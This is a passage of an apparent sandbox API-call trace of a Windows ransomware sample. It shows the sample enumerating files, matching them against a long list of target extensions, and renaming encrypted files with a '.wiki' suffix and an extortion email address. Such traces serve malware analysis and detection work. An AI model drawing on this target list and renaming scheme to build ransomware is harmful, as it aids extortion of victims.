(lpString1="n.exe", lpString2="desktop.ini") returned 1 [0182.594] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0182.594] FindNextFileW (in: hFindFile=0x63b2e8, lpFindFileData=0x328f808 | out: lpFindFileData=0x328f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9e3fe310, ftCreationTime.dwHighDateTime=0x1d595b2, ftLastAccessTime.dwLowDateTime=0x9e3fe310, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0x9e424470, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[bitlocker@foxmail.com ].wiki", cAlternateFileName="DESKTO~1.WIK")) returned 1 [0182.595] lstrlenW (lpString="desktop.ini.id-9C354B42.[bitlocker@foxmail.com ].wiki") returned 53 [0182.595] lstrlenW (lpString=".1cd") returned 4 [0182.595] lstrcmpiW (lpString1=".1cd", lpString2="wiki") returned -1 [0182.595] lstrlenW (lpString=".3ds") returned 4 [0182.595] lstrcmpiW (lpString1=".3ds", lpString2="wiki") returned -1 [0182.595] lstrlenW (lpString=".3fr") returned 4 [0182.595] lstrcmpiW (lpString1=".3fr", lpString2="wiki") returned -1 [0182.595] lstrlenW (lpString=".3g2") returned 4 [0182.595] lstrcmpiW (lpString1=".3g2", lpString2="wiki") returned -1 [0182.595] lstrlenW (lpString=".3gp") returned 4 [0182.595] lstrcmpiW (lpString1=".3gp", lpString2="wiki") returned -1 [0182.595] lstrlenW (lpString=".7z") returned 3 [0182.595] lstrcmpiW (lpString1=".7z", lpString2="iki") returned -1 [0182.595] lstrlenW (lpString=".accda") returned 6 [0182.595] lstrcmpiW (lpString1=".accda", lpString2="].wiki") returned -1 [0182.595] lstrlenW (lpString=".accdb") returned 6 [0182.595] lstrcmpiW (lpString1=".accdb", lpString2="].wiki") returned -1 [0182.595] lstrlenW (lpString=".accdc") returned 6 [0182.595] lstrcmpiW (lpString1=".accdc", lpString2="].wiki") returned -1 [0182.595] lstrlenW (lpString=".accde") returned 6 [0182.595] lstrcmpiW (lpString1=".accde", lpString2="].wiki") returned -1 [0182.595] lstrlenW (lpString=".accdt") returned 6 [0182.595] lstrcmpiW (lpString1=".accdt", lpString2="].wiki") returned -1 [0182.595] lstrlenW (lpString=".accdw") returned 6 [0182.595] lstrcmpiW (lpString1=".accdw", lpString2="].wiki") returned -1 [0182.595] lstrlenW (lpString=".adb") returned 4 [0182.595] lstrcmpiW (lpString1=".adb", lpString2="wiki") returned -1 [0182.595] lstrlenW (lpString=".adp") returned 4 [0182.595] lstrcmpiW (lpString1=".adp", lpString2="wiki") returned -1 [0182.595] lstrlenW (lpString=".ai") returned 3 [0182.595] lstrcmpiW (lpString1=".ai", lpString2="iki") returned -1 [0182.595] lstrlenW (lpString=".ai3") returned 4 [0182.595] lstrcmpiW (lpString1=".ai3", lpString2="wiki") returned -1 [0182.596] lstrlenW (lpString=".ai4") returned 4 [0182.596] lstrcmpiW (lpString1=".ai4", lpString2="wiki") returned -1 [0182.596] lstrlenW (lpString=".ai5") returned 4 [0182.596] lstrcmpiW (lpString1=".ai5", lpString2="wiki") returned -1 [0182.596] lstrlenW (lpString=".ai6") returned 4 [0182.596] lstrcmpiW (lpString1=".ai6", lpString2="wiki") returned -1 [0182.596] lstrlenW (lpString=".ai7") returned 4 [0182.596] lstrcmpiW (lpString1=".ai7", lpString2="wiki") returned -1 [0182.596] lstrlenW (lpString=".ai8") returned 4 [0182.596] lstrcmpiW (lpString1=".ai8", lpString2="wiki") returned -1 [0182.596] lstrlenW (lpString=".anim") returned 5 [0182.596] lstrcmpiW (lpString1=".anim", lpString2=".wiki") returned -1 [0182.596] lstrlenW (lpString=".arw") returned 4 [0182.596] lstrcmpiW (lpString1=".arw", lpString2="wiki") returned -1 [0182.596] lstrlenW (lpString=".as") returned 3 [0182.596] lstrcmpiW (lpString1=".as", lpString2="iki") returned -1 [0182.596] lstrlenW (lpString=".asa") returned 4 [0182.596] lstrcmpiW (lpString1=".asa", lpString2="wiki") returned -1 [0182.596] lstrlenW (lpString=".asc") returned 4 [0182.596] lstrcmpiW (lpString1=".asc", lpString2="wiki") returned -1 [0182.596] lstrlenW (lpString=".ascx") returned 5 [0182.596] lstrcmpiW (lpString1=".ascx", lpString2=".wiki") returned -1 [0182.596] lstrlenW (lpString=".asm") returned 4 [0182.596] lstrcmpiW (lpString1=".asm", lpString2="wiki") returned -1 [0182.596] lstrlenW (lpString=".asmx") returned 5 [0182.596] lstrcmpiW (lpString1=".asmx", lpString2=".wiki") returned -1 [0182.596] lstrlenW (lpString=".asp") returned 4 [0182.596] lstrcmpiW (lpString1=".asp", lpString2="wiki") returned -1 [0182.596] lstrlenW (lpString=".aspx") returned 5 [0182.596] lstrcmpiW (lpString1=".aspx", lpString2=".wiki") returned -1 [0182.596] lstrlenW (lpString=".asr") returned 4 [0182.596] lstrcmpiW (lpString1=".asr", lpString2="wiki") returned -1 [0182.596] lstrlenW (lpString=".asx") returned 4 [0182.596] lstrcmpiW (lpString1=".asx", lpString2="wiki") returned -1 [0182.597] lstrlenW (lpString=".avi") returned 4 [0182.597] lstrcmpiW (lpString1=".avi", lpString2="wiki") returned -1 [0182.597] lstrlenW (lpString=".avs") returned 4 [0182.597] lstrcmpiW (lpString1=".avs", lpString2="wiki") returned -1 [0182.597] lstrlenW (lpString=".backup") returned 7 [0182.597] lstrcmpiW (lpString1=".backup", lpString2=" ].wiki") returned 1 [0182.597] lstrlenW (lpString=".bak") returned 4 [0182.597] lstrcmpiW (lpString1=".bak", lpString2="wiki") returned -1 [0182.597] lstrlenW (lpString=".bay") returned 4 [0182.597] lstrcmpiW (lpString1=".bay", lpString2="wiki") returned -1 [0182.597] lstrlenW (lpString=".bd") returned 3 [0182.597] lstrcmpiW (lpString1=".bd", lpString2="iki") returned -1 [0182.597] lstrlenW (lpString=".bin") returned 4 [0182.597] lstrcmpiW (lpString1=".bin", lpString2="wiki") returned -1 [0182.597] lstrlenW (lpString=".bmp") returned 4 [0182.597] lstrcmpiW (lpString1=".bmp", lpString2="wiki") returned -1 [0182.597] lstrlenW (lpString=".bz2") returned 4 [0182.597] lstrcmpiW (lpString1=".bz2", lpString2="wiki") returned -1 [0182.597] lstrlenW (lpString=".c") returned 2 [0182.597] lstrcmpiW (lpString1=".c", lpString2="ki") returned -1 [0182.597] lstrlenW (lpString=".cdr") returned 4 [0182.597] lstrcmpiW (lpString1=".cdr", lpString2="wiki") returned -1 [0182.597] lstrlenW (lpString=".cer") returned 4 [0182.597] lstrcmpiW (lpString1=".cer", lpString2="wiki") returned -1 [0182.597] lstrlenW (lpString=".cf") returned 3 [0182.597] lstrcmpiW (lpString1=".cf", lpString2="iki") returned -1 [0182.597] lstrlenW (lpString=".cfc") returned 4 [0182.597] lstrcmpiW (lpString1=".cfc", lpString2="wiki") returned -1 [0182.597] lstrlenW (lpString=".cfm") returned 4 [0182.597] lstrcmpiW (lpString1=".cfm", lpString2="wiki") returned -1 [0182.597] lstrlenW (lpString=".cfml") returned 5 [0182.597] lstrcmpiW (lpString1=".cfml", lpString2=".wiki") returned -1 [0182.597] lstrlenW (lpString=".cfu") returned 4 [0182.598] lstrcmpiW (lpString1=".cfu", lpString2="wiki") returned -1 [0182.598] lstrlenW (lpString=".chm") returned 4 [0182.598] lstrcmpiW (lpString1=".chm", lpString2="wiki") returned -1 [0182.598] lstrlenW (lpString=".cin") returned 4 [0182.598] lstrcmpiW (lpString1=".cin", lpString2="wiki") returned -1 [0182.598] lstrlenW (lpString=".class") returned 6 [0182.598] lstrcmpiW (lpString1=".class", lpString2="].wiki") returned -1 [0182.598] lstrlenW (lpString=".clx") returned 4 [0182.598] lstrcmpiW (lpString1=".clx", lpString2="wiki") returned -1 [0182.598] lstrlenW (lpString=".config") returned 7 [0182.598] lstrcmpiW (lpString1=".config", lpString2=" ].wiki") returned 1 [0182.598] lstrlenW (lpString=".cpp") returned 4 [0182.598] lstrcmpiW (lpString1=".cpp", lpString2="wiki") returned -1 [0182.598] lstrlenW (lpString=".cr2") returned 4 [0182.598] lstrcmpiW (lpString1=".cr2", lpString2="wiki") returned -1 [0182.598] lstrlenW (lpString=".crt") returned 4 [0182.598] lstrcmpiW (lpString1=".crt", lpString2="wiki") returned -1 [0182.598] lstrlenW (lpString=".crw") returned 4 [0182.598] lstrcmpiW (lpString1=".crw", lpString2="wiki") returned -1 [0182.598] lstrlenW (lpString=".cs") returned 3 [0182.598] lstrcmpiW (lpString1=".cs", lpString2="iki") returned -1 [0182.598] lstrlenW (lpString=".css") returned 4 [0182.598] lstrcmpiW (lpString1=".css", lpString2="wiki") returned -1 [0182.598] lstrlenW (lpString=".csv") returned 4 [0182.598] lstrcmpiW (lpString1=".csv", lpString2="wiki") returned -1 [0182.598] lstrlenW (lpString=".cub") returned 4 [0182.598] lstrcmpiW (lpString1=".cub", lpString2="wiki") returned -1 [0182.598] lstrlenW (lpString=".dae") returned 4 [0182.598] lstrcmpiW (lpString1=".dae", lpString2="wiki") returned -1 [0182.598] lstrlenW (lpString=".dat") returned 4 [0182.598] lstrcmpiW (lpString1=".dat", lpString2="wiki") returned -1 [0182.598] lstrlenW (lpString=".db") returned 3 [0182.598] lstrcmpiW (lpString1=".db", lpString2="iki") returned -1 [0182.599] lstrlenW (lpString=".dbf") returned 4 [0182.599] lstrcmpiW (lpString1=".dbf", lpString2="wiki") returned -1 [0182.599] lstrlenW (lpString=".dbx") returned 4 [0182.599] lstrcmpiW (lpString1=".dbx", lpString2="wiki") returned -1 [0182.599] lstrlenW (lpString=".dc3") returned 4 [0182.599] lstrcmpiW (lpString1=".dc3", lpString2="wiki") returned -1 [0182.599] lstrlenW (lpString=".dcm") returned 4 [0182.599] lstrcmpiW (lpString1=".dcm", lpString2="wiki") returned -1 [0182.599] lstrlenW (lpString=".dcr") returned 4 [0182.599] lstrcmpiW (lpString1=".dcr", lpString2="wiki") returned -1 [0182.599] lstrlenW (lpString=".der") returned 4 [0182.599] lstrcmpiW (lpString1=".der", lpString2="wiki") returned -1 [0182.599] lstrlenW (lpString=".dib") returned 4 [0182.599] lstrcmpiW (lpString1=".dib", lpString2="wiki") returned -1 [0182.599] lstrlenW (lpString=".dic") returned 4 [0182.599] lstrcmpiW (lpString1=".dic", lpString2="wiki") returned -1 [0182.599] lstrlenW (lpString=".dif") returned 4 [0182.599] lstrcmpiW (lpString1=".dif", lpString2="wiki") returned -1 [0182.599] lstrlenW (lpString=".divx") returned 5 [0182.599] lstrcmpiW (lpString1=".divx", lpString2=".wiki") returned -1 [0182.599] lstrlenW (lpString=".djvu") returned 5 [0182.599] lstrcmpiW (lpString1=".djvu", lpString2=".wiki") returned -1 [0182.599] lstrlenW (lpString=".dng") returned 4 [0182.599] lstrcmpiW (lpString1=".dng", lpString2="wiki") returned -1 [0182.599] lstrlenW (lpString=".doc") returned 4 [0182.599] lstrcmpiW (lpString1=".doc", lpString2="wiki") returned -1 [0182.599] lstrlenW (lpString=".docm") returned 5 [0182.599] lstrcmpiW (lpString1=".docm", lpString2=".wiki") returned -1 [0182.599] lstrlenW (lpString=".docx") returned 5 [0182.599] lstrcmpiW (lpString1=".docx", lpString2=".wiki") returned -1 [0182.599] lstrlenW (lpString=".dot") returned 4 [0182.599] lstrcmpiW (lpString1=".dot", lpString2="wiki") returned -1 [0182.599] lstrlenW (lpString=".dotm") returned 5 [0182.600] lstrcmpiW (lpString1=".dotm", lpString2=".wiki") returned -1 [0182.600] lstrlenW (lpString=".dotx") returned 5 [0182.600] lstrcmpiW (lpString1=".dotx", lpString2=".wiki") returned -1 [0182.600] lstrlenW (lpString=".dpx") returned 4 [0182.600] lstrcmpiW (lpString1=".dpx", lpString2="wiki") returned -1 [0182.600] lstrlenW (lpString=".dqy") returned 4 [0182.600] lstrcmpiW (lpString1=".dqy", lpString2="wiki") returned -1 [0182.600] lstrlenW (lpString=".dsn") returned 4 [0182.600] lstrcmpiW (lpString1=".dsn", lpString2="wiki") returned -1 [0182.600] lstrlenW (lpString=".dt") returned 3 [0182.600] lstrcmpiW (lpString1=".dt", lpString2="iki") returned -1 [0182.600] lstrlenW (lpString=".dtd") returned 4 [0182.600] lstrcmpiW (lpString1=".dtd", lpString2="wiki") returned -1 [0182.600] lstrlenW (lpString=".dwg") returned 4 [0182.600] lstrcmpiW (lpString1=".dwg", lpString2="wiki") returned -1 [0182.600] lstrlenW (lpString=".dwt") returned 4 [0182.600] lstrcmpiW (lpString1=".dwt", lpString2="wiki") returned -1 [0182.600] lstrlenW (lpString=".dx") returned 3 [0182.600] lstrcmpiW (lpString1=".dx", lpString2="iki") returned -1 [0182.600] lstrlenW (lpString=".dxf") returned 4 [0182.600] lstrcmpiW (lpString1=".dxf", lpString2="wiki") returned -1 [0182.600] lstrlenW (lpString=".edml") returned 5 [0182.600] lstrcmpiW (lpString1=".edml", lpString2=".wiki") returned -1 [0182.600] lstrlenW (lpString=".efd") returned 4 [0182.600] lstrcmpiW (lpString1=".efd", lpString2="wiki") returned -1 [0182.600] lstrlenW (lpString=".elf") returned 4 [0182.600] lstrcmpiW (lpString1=".elf", lpString2="wiki") returned -1 [0182.600] lstrlenW (lpString=".emf") returned 4 [0182.600] lstrcmpiW (lpString1=".emf", lpString2="wiki") returned -1 [0182.600] lstrlenW (lpString=".emz") returned 4 [0182.600] lstrcmpiW (lpString1=".emz", lpString2="wiki") returned -1 [0182.601] lstrlenW (lpString=".epf") returned 4 [0182.601] lstrcmpiW (lpString1=".epf", lpString2="wiki") returned -1 [0182.601] lstrlenW (lpString=".eps") returned 4 [0182.601] lstrcmpiW (lpString1=".eps", lpString2="wiki") returned -1 [0182.601] lstrlenW (lpString=".epsf") returned 5 [0182.601] lstrcmpiW (lpString1=".epsf", lpString2=".wiki") returned -1 [0182.601] lstrlenW (lpString=".epsp") returned 5 [0182.601] lstrcmpiW (lpString1=".epsp", lpString2=".wiki") returned -1 [0182.601] lstrlenW (lpString=".erf") returned 4 [0182.601] lstrcmpiW (lpString1=".erf", lpString2="wiki") returned -1 [0182.601] lstrlenW (lpString=".exr") returned 4 [0182.601] lstrcmpiW (lpString1=".exr", lpString2="wiki") returned -1 [0182.601] lstrlenW (lpString=".f4v") returned 4 [0182.601] lstrcmpiW (lpString1=".f4v", lpString2="wiki") returned -1 [0182.601] lstrlenW (lpString=".fido") returned 5 [0182.601] lstrcmpiW (lpString1=".fido", lpString2=".wiki") returned -1 [0182.601] lstrlenW (lpString=".flm") returned 4 [0182.601] lstrcmpiW (lpString1=".flm", lpString2="wiki") returned -1 [0182.601] lstrlenW (lpString=".flv") returned 4 [0182.601] lstrcmpiW (lpString1=".flv", lpString2="wiki") returned -1 [0182.601] lstrlenW (lpString=".frm") returned 4 [0182.601] lstrcmpiW (lpString1=".frm", lpString2="wiki") returned -1 Thread: id = 410 os_tid = 0x664 [0182.610] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3c50280 [0182.610] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3c60288 [0182.610] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x638878 [0182.610] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x636ea0 [0182.611] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x638890 [0182.611] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x3e10020 [0182.611] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6388a8 [0182.611] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6388a8, Size=0x20) returned 0x633b20 [0182.611] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6388a8 [0182.611] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6388a8, Size=0x20) returned 0x633a30 [0182.611] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0182.611] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0182.611] Wow64DisableWow64FsRedirection (in: OldValue=0x33cff58 | out: OldValue=0x33cff58*=0x0) returned 1 [0182.611] lstrlenW (lpString="kernel32.dll") returned 12 [0182.611] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x633b20 | out: hHeap=0x5c0000) returned 1 [0182.611] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0182.611] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x633a30 | out: hHeap=0x5c0000) returned 1 [0182.611] Sleep (dwMilliseconds=0x64) [0182.820] lstrlenW (lpString="BCD") returned 3 [0182.820] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.820] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0182.820] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0182.820] lstrlenW (lpString=".doc") returned 4 [0182.820] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0182.821] lstrlenW (lpString=".docx") returned 5 [0182.821] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0182.821] lstrlenW (lpString=".pdf") returned 4 [0182.821] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0182.821] lstrlenW (lpString=".xls") returned 4 [0182.821] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0182.821] lstrlenW (lpString=".xlsx") returned 5 [0182.821] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0182.821] lstrlenW (lpString=".ppt") returned 4 [0182.821] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0182.821] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0182.821] lstrlenW (lpString=".zip") returned 4 [0182.821] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0182.821] lstrlenW (lpString=".rar") returned 4 [0182.821] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0182.821] lstrlenW (lpString=".bz2") returned 4 [0182.821] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0182.821] lstrlenW (lpString=".7z") returned 3 [0182.821] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0182.821] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0182.821] lstrlenW (lpString=".dbf") returned 4 [0182.821] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0182.821] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0182.821] lstrlenW (lpString=".1cd") returned 4 [0182.821] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0182.821] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0182.821] lstrlenW (lpString=".jpg") returned 4 [0182.821] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0182.821] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0182.821] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0182.821] lstrlenW (lpString=".doc") returned 4 [0182.822] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0182.822] lstrlenW (lpString=".docx") returned 5 [0182.822] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0182.822] lstrlenW (lpString=".pdf") returned 4 [0182.822] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0182.822] lstrlenW (lpString=".xls") returned 4 [0182.822] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0182.822] lstrlenW (lpString=".xlsx") returned 5 [0182.822] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0182.822] lstrlenW (lpString=".ppt") returned 4 [0182.822] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0182.822] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0182.822] lstrlenW (lpString=".zip") returned 4 [0182.822] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0182.822] lstrlenW (lpString=".rar") returned 4 [0182.822] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0182.822] lstrlenW (lpString=".bz2") returned 4 [0182.822] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0182.822] lstrlenW (lpString=".7z") returned 3 [0182.822] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0182.822] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0182.822] lstrlenW (lpString=".dbf") returned 4 [0182.822] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0182.822] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0182.822] lstrlenW (lpString=".1cd") returned 4 [0182.822] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0182.822] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0182.822] lstrlenW (lpString=".jpg") returned 4 [0182.822] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0182.822] lstrcmpiW (lpString1=".LOG1", lpString2=".wiki") returned -1 [0182.823] lstrlenW (lpString="BCD.LOG1") returned 8 [0182.823] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0182.823] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=0) returned 1 [0182.823] CloseHandle (hObject=0x1cc) returned 1 [0182.823] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0182.823] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0182.823] lstrlenW (lpString=".doc") returned 4 [0182.823] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0182.823] lstrlenW (lpString=".docx") returned 5 [0182.823] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0182.823] lstrlenW (lpString=".pdf") returned 4 [0182.823] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0182.823] lstrlenW (lpString=".xls") returned 4 [0182.823] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0182.823] lstrlenW (lpString=".xlsx") returned 5 [0182.823] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0182.823] lstrlenW (lpString=".ppt") returned 4 [0182.823] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0182.823] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0182.823] lstrlenW (lpString=".zip") returned 4 [0182.823] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0182.823] lstrlenW (lpString=".rar") returned 4 [0182.823] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0182.824] lstrlenW (lpString=".bz2") returned 4 [0182.824] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0182.824] lstrlenW (lpString=".7z") returned 3 [0182.824] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0182.824] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0182.824] lstrlenW (lpString=".dbf") returned 4 [0182.824] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0182.824] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0182.824] lstrlenW (lpString=".1cd") returned 4 [0182.824] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0182.824] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0182.824] lstrlenW (lpString=".jpg") returned 4 [0182.825] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0182.825] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0182.825] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0182.825] lstrlenW (lpString=".doc") returned 4 [0182.825] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0182.825] lstrlenW (lpString=".docx") returned 5 [0182.825] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0182.825] lstrlenW (lpString=".pdf") returned 4 [0182.825] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0182.825] lstrlenW (lpString=".xls") returned 4 [0182.825] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0182.825] lstrlenW (lpString=".xlsx") returned 5 [0182.825] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0182.825] lstrlenW (lpString=".ppt") returned 4 [0182.825] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0182.825] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0182.825] lstrlenW (lpString=".zip") returned 4 [0182.825] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0182.825] lstrlenW (lpString=".rar") returned 4 [0182.825] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0182.825] lstrlenW (lpString=".bz2") returned 4 [0182.825] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0182.825] lstrlenW (lpString=".7z") returned 3 [0182.825] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0182.825] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0182.825] lstrlenW (lpString=".dbf") returned 4 [0182.825] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0182.825] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0182.826] lstrlenW (lpString=".1cd") returned 4 [0182.826] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0182.826] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0182.826] lstrlenW (lpString=".jpg") returned 4 [0182.826] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0182.826] lstrcmpiW (lpString1=".LOG2", lpString2=".wiki") returned -1 [0182.826] lstrlenW (lpString="BCD.LOG2") returned 8 [0182.826] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0182.826] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=0) returned 1 [0182.826] CloseHandle (hObject=0x1cc) returned 1 [0182.826] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0182.826] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0182.826] lstrlenW (lpString=".doc") returned 4 [0182.826] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0182.826] lstrlenW (lpString=".docx") returned 5 [0182.826] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0182.827] lstrlenW (lpString=".pdf") returned 4 [0182.827] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0182.827] lstrlenW (lpString=".xls") returned 4 [0182.827] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0182.827] lstrlenW (lpString=".xlsx") returned 5 [0182.827] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0182.827] lstrlenW (lpString=".ppt") returned 4 [0182.827] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0182.827] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0182.827] lstrlenW (lpString=".zip") returned 4 [0182.827] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0182.827] lstrlenW (lpString=".rar") returned 4 [0182.827] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0182.827] lstrlenW (lpString=".bz2") returned 4 [0182.827] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0182.827] lstrlenW (lpString=".7z") returned 3 [0182.827] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0182.827] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0182.827] lstrlenW (lpString=".dbf") returned 4 [0182.827] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0182.827] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0182.827] lstrlenW (lpString=".1cd") returned 4 [0182.827] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0182.827] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0182.827] lstrlenW (lpString=".jpg") returned 4 [0182.827] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0182.827] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0182.827] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0182.827] lstrlenW (lpString=".doc") returned 4 [0182.828] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0182.828] 